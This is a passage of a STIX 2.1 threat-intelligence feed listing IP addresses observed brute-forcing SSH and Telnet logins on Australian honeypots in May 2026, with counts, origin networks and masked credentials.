      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7a525d91-8cc9-4237-9818-4dd4c2e1adf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.108.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bd9da70d-d643-4c24-9d22-09143b2e8363",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.63.21.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--773fbe34-4f56-4d86-bf73-6413fbd40c1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.250.2.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8696d9bd-36e5-49a8-b4bb-a9fbd4e8eec8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.100.146.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--69d36652-c5da-470f-a9f0-1a4c4541fe35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.245.102.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270877. Organisation(s): INTERNETUP TELECOMUNICACOES LTDA.",
      "id": "indicator--ac5ae49b-9b54-4809-be38-225e1428635d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.185.89.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--dac72868-4548-46e6-bd59-d784e504179f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.106.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3825a999-893c-4e2b-9932-45c0c8d11989",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.145.223.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************************************1, A*******************p, G************1, U*******************************************************************). Passwords observed (masked): H**********************3, , A**********.",
      "id": "indicator--ae2cf2fc-d7e2-4418-97d2-3c8bc85d2871",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.92.225.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, r**t, 3**********4, **, t**t. Passwords observed (masked): 0**0, 1****6, 3***********4, 3**********4, 4******B.",
      "id": "indicator--ef523a8b-cdac-418d-91da-072836d469f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): U****************************1, G**************************************************1, G**********************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--7cbe5c94-77b4-4c27-b750-84af1cca3268",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.227.148.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d20c4cd2-b8bf-41cc-9053-496d4b096e89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.225.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f7b9b1f8-ce9c-47f8-b6b6-3ab9b7ebdff9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.230.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--68686c1e-6e87-42c4-8d92-f76497ecea5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.10.24.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--9e23c384-91bd-4e0a-ad38-422094f391a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.215.209.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--4a4fecee-1117-404c-b1b6-59f100c2318c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.16.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28252. Organisation(s): WorldNet Telecom Comercio e Servicos de Telecomuni.",
      "id": "indicator--0749bd06-38b1-4de9-873e-6e709a539b29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.1.163.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--e1e9f228-0c75-47a2-b774-e53e240ce47a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.233.94.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--5f2dc0e7-6135-40f8-920c-f3768f371309",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.146.108.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 210218. Organisation(s): Open Fiber S.P.A..",
      "id": "indicator--07786f29-5ca6-4cba-835c-841736c9cb2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.147.10.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--f0c026dc-40e4-4c96-941e-7e947e053a8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28635. Organisation(s): AVATO TECNOLOGIA S.A.",
      "id": "indicator--652e1122-94d0-4dc3-b659-19c25c1019f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.71.140.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28458. Organisation(s): IENTC S DE RL DE CV.",
      "id": "indicator--39754df4-f996-4c9a-aa17-3d294c34edab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.22.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--4db4011e-b509-4a9f-838c-1804fb0f098e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.189.63.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G***********************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--8a0a90aa-bb4a-445b-b901-ad940617ad62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.154.201.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 9416. Organisation(s): Hoshin Multimedia Center Inc..",
      "id": "indicator--0a361bb6-fac8-40b8-b510-7af9d600f752",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '219.69.123.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1799d566-b993-4e77-882f-9704cfe3b5b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.233.85.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2b5172b7-c186-42b2-8cc0-db59a941e4c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.95.182.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--805ffa16-74eb-41d2-9dc5-b5ad1b8ac8c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.31.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, ***, 3**********4, a*****e, j*****s. Passwords observed (masked): 1****6, 3***********4, 3**********4, A**********@, R*****3.",
      "id": "indicator--dfa5d157-107e-4347-baa3-ec22a4cee5bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.117.79.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--6ace9905-edae-43a8-b22b-859afe74976f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.234.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--c71f8b91-0144-4c85-8316-30a09e68b054",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.251.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--824620d0-bb01-4dc0-900a-22386e3b9151",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.24.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269310. Organisation(s): MAVNET TECNOLOGIA DE INFORMACAO EIRELI.",
      "id": "indicator--4bb5462c-0dea-4713-b9fe-ba948e55065f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.183.34.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 18049. Organisation(s): Taiwan Infrastructure Network Technologie.",
      "id": "indicator--060f2b12-93be-4897-aa1e-6de8c583eaaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.213.157.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 261. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 7992. Organisation(s): Cogeco Connexion Inc.. Usernames observed (masked): 3**********4, ***, t**t, u****u, a***n. Passwords observed (masked): 3***********4, 3**********4, 0**0, *, 1****6.",
      "id": "indicator--9ce1c79f-74b7-443c-b55e-9aa920d27d25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '57.134.215.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
